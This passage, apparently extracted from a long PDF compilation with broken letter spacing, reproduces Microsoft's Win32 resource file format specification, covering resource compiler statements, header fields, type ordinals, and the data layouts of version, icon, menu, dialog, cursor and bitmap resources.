separ at e segment i n t he i mage f i l e. The Wi ndows 32 i mage f i l e pl aces
al l r esour ces i nt o a si ngl e Obj ect or sect i on. The Wi ndows 32 i mage
f i l e al so pr ovi des a bi nar y- sor t ed r esour ce t abl e t hat al l ows f ast
l ookup of a par t i cul ar r esour ce, r at her t han a t abl e t hat must be
sear ched l i near l y, as i n t he 16- bi t i mage f i l e. Because t hi s Wi ndows
32 i mage f i l e f or mat i s mor e compl ex t hat t he Wi ndows 16 f or mat ,
maki ng i t har der t o updat e di r ect l y, t he Wi ndows 32 API pr ovi des
met hods of modi f yi ng t he r esour ce dat a di r ect l y.

The CVTRES conver si on ut i l i t y t hat conver t s t he r esour ce f i l e i nt o a
Pagina 487 di 991
COFF obj ect cr eat es t he r esour ce t abl e. Thi s t abl e cont ai ns t hr ee
di r ect or i es, i ndexed by Type, Name and Language, i n t hat or der . The
Type and Name di r ect or i es consi st of t wo par t s: t he par t dedi cat ed
t o r esour ces whose t ypes or names ar e r epr esent ed by st r i ngs, an
t hose r epr esent ed by or di nal WORD val ues. Because t he use of st r i ngs
as r esour ce t ype and name i dent i f i er s t akes consi der abl y mor e r oom
t han or di nal i dent i f i er s, Mi cr osof t r ecommends t hat t hey not be used.

Not e t hat , as al l st r i ngs i n a r esour ce f i l e ( i ncl udi ng t he st r i ngs
used t o i dent i f y t he t ype and name of r esour ces) ar e UNI CODE, t he
cor r espondi ng st r i ngs i n t he pr ogr amt hat ar e bei ng passed t o
LoadBi t map, et c. , must al so be UNI CODE ( onl y i f t he appl i cat i on i s
usi ng t he UNI CODE set of api s r at her t han t he ASCI I set ) . Thi s i s
f aci l i t at ed by use of t he TEXT macr o pr ovi ded i n wi nnt . h.

The t hi r d l evel , l anguage, pr ovi des t he capabi l i t y f or t he
appl i cat i on devel oper t o shi p a si ngl e execut abl e i mage t hat suppor t s
mor e t han one l anguage. For i nst ance, one i mage pr ovi di ng Fr ench,
Fr ench- Canadi an and Fr ench- Bel gi umcoul d be easi l y shi pped i n one
i mage f i l e. An appl i cat i on coul d al so be shi pped wi t h suppor t f or
al l l anguages suppor t ed by t he UNI CODE st andar d, al t hough t hi s woul d
make t he i mage pr ohi bi t i vel y l ar ge. However , si nce t he syst em
pr ovi des f aci l i t i es t o modi f y t he r esour ces wi t hi n an i mage, a set up
pr ogr amcoul d cust omi ze t he appl i cat i on' s i mage f i l e f or each
speci f i c user , el i mi nat i ng unneeded l anguage suppor t t o save space i n
t he i mage f i l e.

2. 1 New st at ement s

Sever al new st at ement s have been added t hat t he Wi ndows 32 r esour ce
compi l er pr ocesses.

2. 1. 1 New But t on st at ement s.

These st at ement s al l ow t he appl i cat i on devel oper t he same f r eedomof
expr essi on t hat t he PUSHBUTTON, DEFPUSHBUTTON, et c. , st at ement s do,
and cor r espond t o t he appr opr i at e but t on st yl e.

They al l have synt ax i dent i cal t o t hat of PUSHBUTTON, et c.

2. 1. 1. 1 AUTO3STATE

Al l ows decl ar at i on of an AUTO3STATE but t on.

2. 1. 1. 2 AUTOCHECKBOX

Al l ows decl ar at i on of an AUTOCHECKBOX but t on.

2. 1. 1. 3 AUTORADI OBUTTON

Al l ows decl ar at i on of an AUTORADI OBUTTON but t on.

2. 1. 1. 5 PUSHBOX

Al l ows decl ar at i on of a PUSHBOX but t on.

2. 1. 1. 6 STATE3

Al l ows decl ar at i on of a 3STATE but t on ( t he 3 i s at t he end f or synt ax
pur poses) .

2. 1. 1. 7 USERBUTTON

Pagina 488 di 991
Al l ows decl ar at i on of a USERBUTTON user - def i ned but t on.

2. 1. 2 EXSTYLE st at ement

Thi s st at ement al l ows t he appl i cat i on devel oper t o desi gnat e one of
t he ext ended ( WS_EX_xxx) st yl es f or a di al og or cont r ol wi ndow.
Ther e ar e t hr ee met hods, dependi ng upon what i s needed.

I t may be pl aced j ust bel ow t he DI ALOG st at ement t o appl y t o t he
di al og wi ndow ( l i ke t he CAPTI ON or STYLE st at ement s) .

EXSTYLE <f l ags>

I t may be pl aced on t he DI ALOG st at ement wi t h t he memor y f l ags.

FOOBAR DI ALOG [ MemFl ags. . . ] [ EXSTYLE=<f l ags>] x, y, dx, dy

I t may al so be pl aced on t he i ndi vi dual CONTROL, PUSHBUTTON, LTEXT,
et c. st at ement s at t he end of t he st at ement .

AUTOCHECKBOX " aut ocheckbox" , i d, x, y, dx, dy
[ st yl ef l ags] [ exst yl ef l ags]

2. 1. 3 CHARACTERI STI CS st at ement

Thi s st at ement al l ows t he appl i cat i on devel oper t o speci f y
i nf or mat i on about t he r esour ce t hat may be of use t o t ool s t hat r ead
and wr i t e r esour ce f i l es. I t has no si gni f i cance t o t he syst emand
i s not st or ed i n t he i mage f i l e.

CHARACTERI STI CS <user def i ned DWORD val ue>

2. 1. 4 VERSI ON st at ement

Thi s st at ement i s i nt ended t o al l ow t he appl i cat i on t o speci f y a
ver si on number of t he r esour ce i n t he r esour ce f i l e ( f or t hose t ool s
t hat r ead and wr i t e r esour ce f i l es. ) I t has no si gni f i cance t o t he
syst emand i s not st or ed i n t he i mage f i l e.

VERSI ON <user def i ned DWORD val ue>

2. 1. 5 LANGUAGE st at ement

The LANGUAGE st at ement i s used t o speci f y t he l anguage t he r esour ce
f i l e, or sect i on of r esour ce f i l e, i s wr i t t en i n. I t may be pl aced
anywher e wi t hi n t he r esour ce scr i pt f i l e t hat a si ngl e- l i ne st at ement
( such as I CON, CURSOR, BI TMAP) may be pl aced. The scope of t he
l anguage speci f i ed by a LANGUAGE st at ement i s f r omt hat poi nt i n t he
scr i pt f i l e t o t he next LANGUAGE st at ement , or t he end of t he f i l e.

LANGUAGE <maj or number >, <mi nor number >

wher e <maj or number > r epr esent s t he l anguage i d, and <mi nor number > t he
sub- l anguage i dent i f i er s. The val ues speci f i ed i n wi nnt . h shoul d be
used.

The LANGUAGE st at ement may al so be pl aced bef or e t he BEGI N st at ement
f or MENU, DI ALOG, STRI NGTABLE, ACCELERATOR and RCDATA r esour ces,
al ong wi t h ot her opt i onal st at ement s l i ke CAPTI ON, STYLE, et c. I f
t he st at ement i s pl aced her e, i t ' s scope i s l i mi t ed t o t he r esour ce
bei ng def i ned.

2. 1. 6 MESSAGETABLE st at ement
Pagina 489 di 991

The MESSAGETABLE st at ement i s used t o i ncl ude a message t abl e. A
message t abl e i s a speci al - pur pose st r i ng t abl e t hat i s used t o
cont ai n er r or or i nf or mat i onal messages, and may cont ai n f or mat t i ng
i nf or mat i on. The f or mat i s:

<namei d> MESSAGETABLE <f i l ename>

2. 1. 7 Addi t i onal synt ax f or UNI CODE st r i ngs.

Quot ed st r i ngs i n t he r esour ce scr i pt ar e t r eat ed as ASCI I st r i ngs
( i n t he cur r ent codepage) unl ess pr eceeded by a " L" or " l " char act er ,
eg:
L" Thi s i s a Uni code st r i ng"
Decl ar i ng a st r i ng UNI CODE wi t h t hi s synt ax has t wo ef f ect s. I n a
RCDATA st at ement , t hi s causes t he compi l er t o st or e t he st r i ng as
UNI CODE r at her t han ASCI I . I n al l cases usi ng t hi s synt ax, escapes
embedded wi t hi n t he st r i ng become UNI CODE codepoi nt escapes r esul t i ng
i n a 16- bi t UNI CODE char act er , eg:
L" Thi s i s t he f i r st l i ne, \ x2028and t hi s i s t he second"
wher e t he 0x2028 UNI CODE char act er i s t he Li ne Separ at or char act er .
Any UNI CODE char act er may be embedded wi t hi n any r esour ce scr i pt
st r i ng i n t hi s manner .

3. Resour ce Header For mat

The gener al f or mat of t he ent i r e f i l e i s si mpl y a number of r esour ce
f i l e ent r i es concat enat ed t oget her . Each r esour ce cont ai ns t he
i nf or mat i on about a si ngl e r esour ce, such as a di al og or a st r i ng
t abl e.

Each ent r y consi st s of a r esour ce header f ol l owed by t he dat a f or
t hat r esour ce. A r esour ce header ( whi ch i s DWORD al i gned) i s
composed of f our el ement s: t wo dwor ds cont ai ni ng t he si ze of t he
header and t he si ze of t he r esour ce dat a, t he r esour ce t ype, t he
r esour ce name, and addi t i onal r esour ce i nf or mat i on. The dat a f or t he
r esour ce f ol l ows t he r esour ce header and i s speci f i c t o each
par t i cul ar t ype of r esour ce.

3. 1 Dat aSi ze

Thi s f i el d gi ves t he si ze of t he dat a t hat f ol l ows t he header , not
i ncl udi ng any f i l e paddi ng bet ween t hi s r esour ce and any r esour ce
t hat f ol l ows t hi s r esour ce i n t he r esour ce f i l e.

3. 2 Header Si ze

The Header Si ze f i el d gi ves t he si ze of t he r esour ce header st r uct ur e
t hat f ol l ows.

3. 3 Type

The t ype f i el d can ei t her be a number or a nul l - t er mi nat ed UNI CODE
st r i ng speci f yi ng t he name of t he t ype. Thi s var i abl e ki nd of t ype
i s known as a `Name or Or di nal ' f i el d, and i s used i n most pl aces i n
a r esour ce f i l e wher e an I D may appear .

The f i r st WORD of a Name or Or di nal f i el d i dent i f i es whet her t he
f i el d i s a number or a st r i ng. I f t he f i r st WORD i s 0xf f f f ( an
i nval i d UNI CODE char act er ) , t hen t he f ol l owi ng WORD of i nf or mat i on i s
t he t ype number . Ot her wi se, t he f i el d i s speci f i ed by a UNI CODE
st r i ng.

Pagina 490 di 991
I f t he t ype f i el d i s a number , t hen t he number speci f i es a st andar d
or user - def i ned r esour ce t ype. Al l st andar d Wi ndows r esour ce t ypes
have been assi gned number s, whi ch ar e l i st ed bel ow. Thi s l i st i s
t aken f r omt he header f i l e used t o make RC and cont ai ns t he t ype
number of t he var i ous r esour ce t ypes:

/ * Pr edef i ned r esour ce t ypes */
#def i ne RT_NEWRESOURCE 0x2000
#def i ne RT_ERROR 0x7f f f
#def i ne RT_CURSOR 1
#def i ne RT_BI TMAP 2
#def i ne RT_I CON 3
#def i ne RT_MENU 4
#def i ne RT_DI ALOG 5
#def i ne RT_STRI NG 6
#def i ne RT_FONTDI R 7
#def i ne RT_FONT 8
#def i ne RT_ACCELERATORS 9
#def i ne RT_RCDATA 10
#def i ne RT_MESSAGETABLE 11
#def i ne RT_GROUP_CURSOR 12
#def i ne RT_GROUP_I CON 14
#def i ne RT_VERSI ON 16
#def i ne RT_NEWBI TMAP ( RT_BI TMAP| RT_NEWRESOURCE)
#def i ne RT_NEWMENU ( RT_MENU| RT_NEWRESOURCE)
#def i ne RT_NEWDI ALOG ( RT_DI ALOG| RT_NEWRESOURCE)

I f t he t ype f i el d i s a st r i ng, t hen t he t ype i s a user - def i ned t ype.

3. 4 Names

A name i dent i f i es t he par t i cul ar r esour ce. A name ( l i ke a t ype) may
be a number or a st r i ng, and t hey ar e di st i ngui shed i n t he same way
as number s and st r i ngs ar e di st i ngui shed i n t he t ype f i el d.

Not e t hat no paddi ng ( f or DWORD al i gnment ) i s needed bet ween t he Type
and Name f i el ds, as t hey cont ai n onl y WORD dat a and hence t he Name
f i el d wi l l al ways be pr oper l y al i gned. However , t her e may need t o be
a WORD of paddi ng af t er t he Name f i el d t o al i gn t he r est of t he
header on DWORD boundar i es.

3. 5 Addi t i onal Header I nf or mat i on

The addi t i onal i nf or mat i on cont ai ns mor e i nf or mat i on about t he
par t i cul ar r esour ce dat a, i ncl udi ng si ze and l anguage I D. The
st r uct ur e of t he Header , pl us i t ' s addi t i onal i nf or mat i on i s as
f ol l ows:

st r uct t agResour ce {
DWORD Dat aSi ze; / / si ze of dat a wi t hout header
DWORD Header Si ze; / / Lengt h of t he addi t i onal header
[ Or di nal or name TYPE] / / t ype i dent i f i er , i d or st r i ng
[ Or di nal or name NAME] / / name i dent i f i er , i d or st r i ng
DWORD Dat aVer si on; / / pr edef i ned r esour ce dat a ver si on
WORD Memor yFl ags; / / st at e of t he r esour ce
WORD LanguageI d; / / UNI CODE suppor t f or NLS
DWORD Ver si on; / / Ver si on of t he r esour ce dat a
DWORD Char act er i st i cs; / / Char act er i st i cs of t he dat a
} ;

The addi t i onal i nf or mat i on st r uct ur e wi l l al ways begi n on a DWORD
boundar y wi t hi n t he r esour ce f i l e, whi ch may r equi r e addi ng some
paddi ng i n bet ween t he name f i el d and t he ResAddi t i onal st r uct ur e.
Pagina 491 di 991

3. 5. 1 Dat aVer si on

The Dat aVer si on f i el d det er mi nes t he f or mat of t he i nf or mat i on
wi t hi n t he r esour ce header t hat f ol l ows. Thi s may be used i n t he
f ut ur e t o al l ow addi t i onal i nf or mat i on t o be ent er ed i nt o t he
pr edef i ned f or mat s.

3. 5. 2 Memor yFl ags

The f i el d wMemor yFl ags cont ai ns f l ags t el l i ng t he st at e of a gi ven
r esour ce. These at t r i but es ar e gi ven t o a gi ven r esour ce by
modi f i er s i n t he . RC scr i pt . The scr i pt i dent i f i er s i nj ect t he
f ol l owi ng f l ag val ues:

#def i ne MOVEABLE 0x0010
#def i ne FI XED ~MOVEABLE
#def i ne PURE 0x0020
#def i ne I MPURE ~PURE
#def i ne PRELOAD 0x0040
#def i ne LOADONCALL ~PRELOAD
#def i ne DI SCARDABLE 0x1000

The r esour ce compi l er f or NT al ways i gnor es t he set t i ng of t he
MOVEABLE, I MPURE, and PRELOAD f l ags.

3. 5. 3 LanguageI d

The l anguage I D i s i ncl uded i n each r esour ce t o speci f y t he l anguage
t hat t he st r i ngs ar e wr i t t en wi t h when t hey need t o be t r ansl at ed
back t o a si ngl e byt e st r i ngs. As wel l , t her e may be mul t i pl e
r esour ces of exact l y t he same t ype and name whi ch di f f er i n onl y t he
l anguage of t he st r i ngs wi t hi n t he r esour ces.

The l anguage I Ds ar e document ed i n Appendi x A of t he NLS
speci f i cat i on, or i n wi nnt . h. The l anguage of a r esour ce or set of
r esour ces i s speci f i ed by t he LANGUAGE st at ement .

3. 5. 4 Ver si on and Char act er i st i cs

Cur r ent l y, t her e i s space i n t he r esour ce f i l e f or mat f or ver si on and
char act er i st i c i nf or mat i on of t he r esour ce. These val ues can be set
by t he r esour ce compi l er by usi ng t he VERSI ON or CHARACTERI STI CS
st at ement s.

3. 6 Di f f er ent i at i ng 16 and 32- bi t r esour ce f i l es.

Because i t mi ght be desi r abl e f or an I SV' s t ool t hat r eads and wr i t es
r esour ce f i l es t o be abl e t o r ead ei t her t he ol der Wi ndows 16 f or mat
f i l es and t he new Wi ndows 32 f or mat , Mi cr osof t has devi sed a met hod
t o do t hi s usi ng i l l egal t ype and name or di nal number s.

The met hod i nvol ved i s t o pl ace an i l l egal r esour ce i n t he r esour ce
f i l e. The f ol l owi ng ei ght byt es wer e chosen:

0x00 0x00 0x00 0x00 0x20 0x00 0x00 0x00

Assume t hat i t i s a 16- bi t f i l e. I n t hat case, t he Type i s i l l egal
si nce t he f i r st 0x00 says st r i ng, but a zer o- l engt h st r i ng i s an
i l l egal st r i ng. Thi s, t hen i s an i l l egal 16- bi t r esour ce header ,
i ndi cat i ng t hat t he f i l e i s a 32- bi t f i l e.

Assume t hat i t i s a 32- bi t f i l e. Gi ven t hat , t he si ze of t he dat a i s
Pagina 492 di 991
zer o, whi ch sur el y wi l l never be t he case.

The Wi ndows 32 r esour ce compi l er pr ef aces each 32- bi t r esour ce f i l e
wi t h t hi s st r i ng of dat a ( f ol l owed by an addi t i onal dat a st r uct ur e
descr i bi ng a zer o- l engt h r esour ce wi t h 0 or di nal t ype and 0 or di nal
name) , al l owi ng di f f er ent i at i on of 16 and 32- bi t r esour ce f i l es. Any
t ool s r eadi ng r esour ce f i l es shoul d i gnor e t hi s r esour ce.

3. 7 Fi l e Al i gnment .

Because i t i s somet i mes usef ul t o separ at e r esour ces i nt o sever al
scr i pt s and t hen concat enat e t hemaf t er compi l i ng t he r esour ce f i l es
separ at el y, i t i s necessar y t o speci f y t hat r esour ce f i l es ar e padded
t o a dwor d si ze. I f t hi s paddi ng wer e not i ncl uded, i t coul d r esul t
i n t he f i r st r esour ce of t he second and/ or subsequent r esour ce f i l es
not al i gni ng upon a dwor d boundar y.

4. Resour ce Dat a For mat

For any of t he pr e- def i ned dat a t ypes, al l st r uct ur es ar e DWORD
al i gned, i ncl udi ng t he bi t map, i con, and f ont header st r uct ur es. As
wel l , t he dat a wi l l al ways begi n on a DWORD boundar y.

4. 1 Ver si on Resour ces

Ver si on r esour ces ar e used t o r ecor d t he ver si on of t he appl i cat i on
usi ng t he r esour ce f i l e. Ver si on r esour ces cont ai n a f i xed amount of
i nf or mat i on. The st r uct ur e of t he ver si on r esour ce i s as f ol l ows:

t ypedef st r uct t agVS_FI XEDFI LEI NFO {
DWORD dwSi gnat ur e; / / e. g. 0xf eef 04bd
DWORD dwSt r ucVer si on; / / e. g. 0x00000042 = " 0. 42"
DWORD dwFi l eVer si onMS; / / e. g. 0x00030075 = " 3. 75"
DWORD dwFi l eVer si onLS; / / e. g. 0x00000031 = " 0. 31"
DWORD dwPr oduct Ver si onMS; / / e. g. 0x00030010 = " 3. 10"
DWORD dwPr oduct Ver si onLS; / / e. g. 0x00000031 = " 0. 31"
DWORD dwFi l eFl agsMask; / / = 0x3F f or ver si on " 0. 42"
DWORD dwFi l eFl ags; / / e. g. VFF_DEBUG | VFF_PRERELEASE
DWORD dwFi l eOS; / / e. g. VOS_DOS_WI NDOWS16
DWORD dwFi l eType; / / e. g. VFT_DRI VER
DWORD dwFi l eSubt ype; / / e. g. VFT2_DRV_KEYBOARD
DWORD dwFi l eDat eMS; / / e. g. 0
DWORD dwFi l eDat eLS; / / e. g. 0
} VS_FI XEDFI LEI NFO;

4. 2 I con Resour ces

The I CON st at ement i n t he . RC scr i pt does not cr eat e a si ngl e
r esour ce obj ect , but cr eat es a gr oup of r esour ces. Thi s al l ows
Wi ndows pr ogr ams a degr ee of devi ce- i ndependence t hr ough t he use of
di f f er ent pi xel bi t maps on har dwar e conf i gur at i ons wi t h di f f er i ng
capabi l i t i es. I cons, most of t en desi gned f or di f f er i ng number s of
pi xel pl anes and pi xel count s, ar e gr ouped and t r eat ed by Wi ndows as
a si ngl e r esour ce. I n t he . RES and . EXE f i l es, however , t hey ar e
st or ed as a gr oup of r esour ces. These gr oups ar e st or ed i n a . RES
f i l e wi t h t he component s f i r st ( i n t hi s case t he di f f er ent i cons
[ t ype 3] ) and a gr oup header f ol l owi ng ( Type 14) . The gr oup header
cont ai ns t he i nf or mat i on necessar y t o al l ow Wi ndows t o sel ect t he
pr oper i con t o di spl ay.

The component s have t he f ol l owi ng st r uct ur e:

[ Resour ce header ( t ype = 3) ]
Pagina 493 di 991

[ DI B Header ]
[ Col or DI Bi t s of i con XOR mask]
[ Monochr ome DI Bi t s of AND mask]

Each component i s gi ven an or di nal I D t hat i s uni que f r omal l ot her
i con component s.

The Devi ce I ndependent Bi t map ( DI B) header ' s f i el ds r epr esent t he
masks' i nf or mat i on separ at el y wi t h t wo except i ons. Fi r st , t he hei ght
f i el d r epr esent s bot h t he XOR and AND masks. Bef or e conver t i ng t he
t wo DI Bs t o Devi ce Dependent Bi t maps ( DDB) , t he hei ght shoul d be
di vi ded by t wo. The masks ar e al ways t he same si ze and ar e one- hal f
t he si ze gi ven i n t he DI B header . Second, t he number of bi t s per
pi xel and bi t count r ef er t o t he XOR mask. The AND mask i s al ways
monochr ome and shoul d be i nt er pr et ed as havi ng one pl ane and one bi t
per pi xel . Bef or e usi ng an i con wi t h Wi ndows r ef er t o t he SDK
r ef er ence mat er i al s f or mor e i nf or mat i on on DI Bs. Si nce t he f or mat
of an i con component cl osel y r esembl es t he f or mat of t he . I CO f i l e,
t he document at i on i n sect i on 9. 2 of t he Wi ndows SDK Ref er ence i s
usef ul . DDBs shoul d not be used f or Wi ndows 32 appl i cat i ons.

The gr oup header i s descr i bed her e:

[ Resour ce header ( t ype = 14) ]

st r uct I conHeader {
WORD wReser ved; / / Cur r ent l y zer o
WORD wType; / / 1 f or i cons
WORD wCount ; / / Number of component s
WORD paddi ng; / / f i l l er f or DWORD al i gnment
};

The next por t i on i s r epeat ed f or each component r esour ce:

st r uct Resour ceDi r ect or y {
BYTE bWi dt h;
BYTE bHei ght ;
BYTE bCol or Count ;
BYTE bReser ved;
WORD wPl anes;
WORD wBi t Count ;
DWORD l Byt esI nRes;
WORD wNameOr di nal ; / / Poi nt s t o component
WORD paddi ng; / / f i l l er f or DWORD al i gnment
};

Not i ce t hat t he gr oup header consi st s of a f i xed header and dat a t hat
r epeat s f or each gr oup component . Bot h of t hese par t s ar e f i xed
l engt h al l owi ng f or r andomaccess of t he gr oup component i nf or mat i on.

Thi s gr oup header cont ai ns al l of t he dat a f r omt he . I CO header and
f r omt he i ndi vi dual r esour ce descr i pt or s.

4. 3 Menu Resour ces

Menu r esour ces ar e composed of a menu header f ol l owed by a sequent i al
l i st of menu i t ems. Ther e ar e t wo t ypes of menu i t ems: popups and
nor mal menu i t ems. The MENUI TEM SEPARATOR i s a speci al case of a
nor mal menu i t emwi t h an empt y name, zer o I D, and zer o f l ags. The
f or mat f or t hese t ypes i s shown her e:

[ Resour ce header ( t ype = 4) ]
Pagina 494 di 991

st r uct MenuHeader {
WORD wVer si on; / / Cur r ent l y zer o
WORD cbHeader Si ze; / / Al so zer o
};

These next i t ems ar e r epeat ed f or ever y menu i t em.

Popup menu i t ems ( si gnal l ed by f I t emFl ags & POPUP) :

st r uct PopupMenuI t em{
WORD f I t emFl ags;
WCHAR szI t emText [ ] ;
};

Nor mal menu i t ems ( si gnal l ed by ! ( f I t emFl ags & POPUP) ) :

st r uct Nor mal MenuI t em{
WORD f I t emFl ags;
WORD wMenuI D;
WCHAR szI t emText [ ] ;
};

The wVer si on and cbHeader Si ze st r uct ur e member s i dent i f y t he ver si on
of t he menu t empl at e. They ar e bot h zer o f or Wi ndows 3. 0 but may be
i ncr ement ed wi t h f ut ur e changes t o t he menu t empl at e.

The WORD f I t emFl ags i s a set of f l ags descr i bi ng t he menu i t em. I f
t he POPUP bi t i s set , t he i t emi s a POPUP. Ot her wi se, i t i s a nor mal
menu component . Ther e ar e sever al ot her f l ag bi t s t hat may be set .
Thei r val ues ar e as f ol l ows:

#def i ne GRAYED 0x0001 / / ' GRAYED' keywor d
#def i ne I NACTI VE 0x0002 / / ' I NACTI VE' keywor d
#def i ne BI TMAP 0x0004 / / ' BI TMAP' keywor d
#def i ne OWNERDRAW 0x0100 / / ' OWNERDRAW' keywor d
#def i ne CHECKED 0x0008 / / ' CHECKED' keywor d
#def i ne POPUP 0x0010 / / Used i nt er nal l y
#def i ne MENUBARBREAK 0x0020 / / ' MENUBARBREAK' keywor d
#def i ne MENUBREAK 0x0040 / / ' MENUBREAK' keywor d
#def i ne ENDMENU 0x0080 / / Used i nt er nal l y

The f I t emFl ags por t i on of t he l ast menu i t emi n a gi ven POPUP i s
f l agged by OR' i ng i t wi t h ENDMENU. I t i s i mpor t ant t o not e t hat
si nce popups can be nest ed, t her e may be mul t i pl e l evel s of i t ems
wi t h ENDMENU set . When menus ar e nest ed, t he i t ems ar e i nser t ed
sequent i al l y. A pr ogr amcan t r aver se t hi s hi er ar chy by checki ng f or
t he i t emwi t h t he ENDMENU f l ag set .

4. 4 Di al og Box Resour ces

A di al og box i s cont ai ned i n a si ngl e r esour ce and has a header and a
por t i on r epeat ed f or each cont r ol i n t he di al og box. The header i s
as f ol l ows:

[ Resour ce header ( t ype = 5) ]

st r uct Di al ogBoxHeader {
DWORD l St yl e;
DWORD l Ext endedSt yl e; / / new f or NT
WORD Number Of I t ems;
WORD x;
WORD y;
Pagina 495 di 991
WORD cx;
WORD cy;
[ Name or Or di nal ] MenuName;
[ Name or Or di nal ] Cl assName;
WCHAR szCapt i on[ ] ;
WORD wPoi nt Si ze; / / Onl y her e i f FONT set f or di al og
WCHAR szFont Name[ ] ; / / Thi s t oo
};

The i t emDWORD l St yl e i s a st andar d wi ndow st yl e composed of f l ags
f ound i n WI NDOWS. H. The def aul t st yl e f or a di al og box i s:

WS_POPUP | WS_BORDER | WS_SYSMENU

The l Ext endedSt yl e DWORD i s used t o speci f y t he ext ended wi ndow st yl e
f l ags. I f an ext ended st yl e i s speci f i ed on t he DI ALOG st at ement , or
wi t h t he ot her opt i onal modi f i er st at ement s, t hi s DWORD i s set t o
t hat val ue.

The i t ems mar ked `Name or Or di nal ' ar e t he same f or mat used
t hr oughout t he r esour ce f i l e ( most not abl y i n each r esour ce header )
t o st or e a name or an or di nal I D. As bef or e, i f t he f i r st byt e i s an
0xf f f f , t he next t wo byt es cont ai n an or di nal I D. Ot her wi se, t he
f i r st 1 or mor e WORDS cont ai n a nul l - t er mi nat ed st r i ng. An empt y
st r i ng i s r epr esent ed by a si ngl e WORD zer o i n t he f i r st l ocat i on.

The WORD wPoi nt Si ze and WCHAR szFont Name ent r i es ar e pr esent i f t he
FONT st at ement was i ncl uded f or t he di al og box. Thi s can be det ect ed
by checki ng t he ent r y l St yl e. i f l St yl e & DS_SETFONT ( DS_SETFONT =
0x40) , t hen t hese ent r i es wi l l be pr esent .

The dat a f or each cont r ol st ar t s on a DWORD boundar y ( whi ch may
r equi r e some paddi ng f r omt he pr evi ous cont r ol ) , and i t s f or mat i s as
f ol l ows:

st r uct Cont r ol Dat a {
DWORD l St yl e;
DWORD l Ext endedSt yl e;
WORD x;
WORD y;
WORD cx;
WORD cy;
WORD wI d;
[ Name or Or di nal ] Cl assI d;
[ Name or Or di nal ] Text ;
WORD nExt r aSt uf f ;
};

As bef or e, t he i t emDWORD l St yl e i s a st andar d wi ndow st yl e composed
of t he f l ags f ound i n WI NDOWS. H. The t ype of cont r ol i s det er mi ned
by t he cl ass. The cl ass i s ei t her gi ven by a zer o- t er mi nat ed st r i ng,
or i n t he case of many common Wi ndows cl asses, i s gi ven a one wor d
code t o save space and speed pr ocessi ng. Because UNI CODE al l ows
0x8000 as a l egal char act er , t he or di nal cl asses ar e pr ef aced wi t h a
of 0xFFFF, si mi l ar t o t he or di nal Type and Name f i el ds. The one wor d
cl asses ar e l i st ed her e:

#def i ne BUTTON 0x8000
#def i ne EDI T 0x8100
#def i ne STATI C 0x8200
#def i ne LI STBOX 0x8300
#def i ne SCROLLBAR 0x8400
#def i ne COMBOBOX 0x8500
Pagina 496 di 991

The l Ext endedSt yl e DWORD i s used t o speci f y t he ext ended st yl e f l ags
t o be used f or t hi s cont r ol . The ext ended st yl e f l ags ar e pl aced at
t he end of t he CONTROL ( or ot her cont r ol st at ement s) st at ement
f ol l owi ng t he coor di nat es

The ext r a i nf or mat i on at t he end of t he cont r ol dat a st r uct ur e i s
cur r ent l y not used, but i s i nt ended f or ext r a i nf or mat i on t hat may be
needed f or menu i t ems i n t he f ut ur e. Usual l y i t i s zer o l engt h.

The var i ous st at ement s used i n a di al og scr i pt ar e al l mapped t o
t hese cl asses al ong wi t h cer t ai n modi f yi ng st yl es. The val ues f or
t hese st yl es can be f ound i n WI NDOWS. H. Al l di al og cont r ol s have t he
def aul t st yl es of WS_CHI LD and WS_VI SI BLE. A l i st of t he def aul t
st yl es used t o make t he scr i pt st at ement s f ol l ows:

St at ement Def aul t Cl ass Def aul t St yl es
CONTROL None WS_CHI LD| WS_VI SI BLE
LTEXT STATI C ES_LEFT
RTEXT STATI C ES_RI GHT
CTEXT STATI C ES_CENTER
LI STBOX LI STBOX WS_BORDER | LBS_NOTI FY
CHECKBOX BUTTON BS_CHECKBOX | WS_TABSTOP
PUSHBUTTON BUTTON BS_PUSHBUTTON | WS_TABSTOP
GROUPBOX BUTTON BS_GROUPBOX
DEFPUSHBUTTON BUTTON BS_DEFPUSHBUTTON | WS_TABSTOP
RADI OBUTTON BUTTON BS_RADI OBUTTON
AUTOCHECKBOX BUTTON BS_AUTOCHECKBOX
AUTO3STATE BUTTON BS_AUTO3STATE
AUTORADI OBUTTON BUTTON BS_AUTORADI OBUTTON
PUSHBOX BUTTON BS_PUSHBOX
STATE3 BUTTON BS_3STATE
EDI TTEXT EDI T ES_LEFT| WS_BORDER| WS_TABSTOP
COMBOBOX COMBOBOX None
I CON STATI C SS_I CON
SCROLLBAR SCROLLBAR None

The cont r ol t ext i s st or ed i n t he `Name or Or di nal ' f or mat descr i bed
i n det ai l above.

4. 5 Cur sor Resour ces

Cur sor r esour ces ar e ver y much l i ke i con r esour ces. They ar e f or med
i n gr oups wi t h t he component s pr ecedi ng t he header . Thi s header al so
empl oys a f i xed- l engt h component i ndex t hat al l ows r andomaccess of
t he i ndi vi dual component s. The st r uct ur e of t he cur sor header i s as
f ol l ows:

[ Resour ce header ( t ype = 12) ]

st r uct Cur sor Header {
WORD wReser ved; / / Cur r ent l y zer o
WORD wType; / / 2 f or cur sor s
WORD cwCount ; / / Number of component s
WORD paddi ng; / / f i l l er f or DWORD al i gnment
};

The next por t i on i s r epeat ed f or each component r esour ce, and st ar t s
on a DWORD boundar y.

st r uct Resour ceDi r ect or y {
WORD wWi dt h;
WORD wHei ght ;
Pagina 497 di 991
WORD wPl anes;
WORD wBi t Count ;
DWORD l Byt esI nRes;
WORD wNameOr di nal ; / / Poi nt s t o component
WORD paddi ng; / / f i l l er f or DWORD al i gnment
};

Each cur sor component i s al so si mi l ar t o each i con component . Ther e
i s, however , one si gni f i cant di f f er ence bet ween t he t wo: cur sor s
have t he concept of a `hot spot ' wher e i cons do not . Her e i s t he
component st r uct ur e:

[ Resour ce header ( Type = 1) ]

st r uct Cur sor Component {
shor t xHot spot ;
shor t yHot spot ;
}
[ Monochr ome XOR mask]
[ Monochr ome AND mask]

These masks ar e bi t maps copi ed f r omt he . CUR f i l e. The mai n
di f f er ence f r omi cons i n t hi s r egar d i s t hat cur sor s do not have
col or DI Bs used f or XOR masks l i ke cur sor s. Al t hough t he bi t maps ar e
monochr ome and do not have DI B header s or col or t abl es, t he bi t s ar e
st i l l i n DI B f or mat wi t h r espect t o al i gnment and di r ect i on. See t he
SDK Ref er ence f or mor e i nf or mat i on on DI B f or mat s.

4. 6 Bi t map Resour ces

Wi ndows 32 can r ead t wo t ypes of devi ce- i ndependent bi t maps. The
nor mal t ype of DI B i s t he Wi ndows 3. 0 DI B f or mat . The ot her t ype of
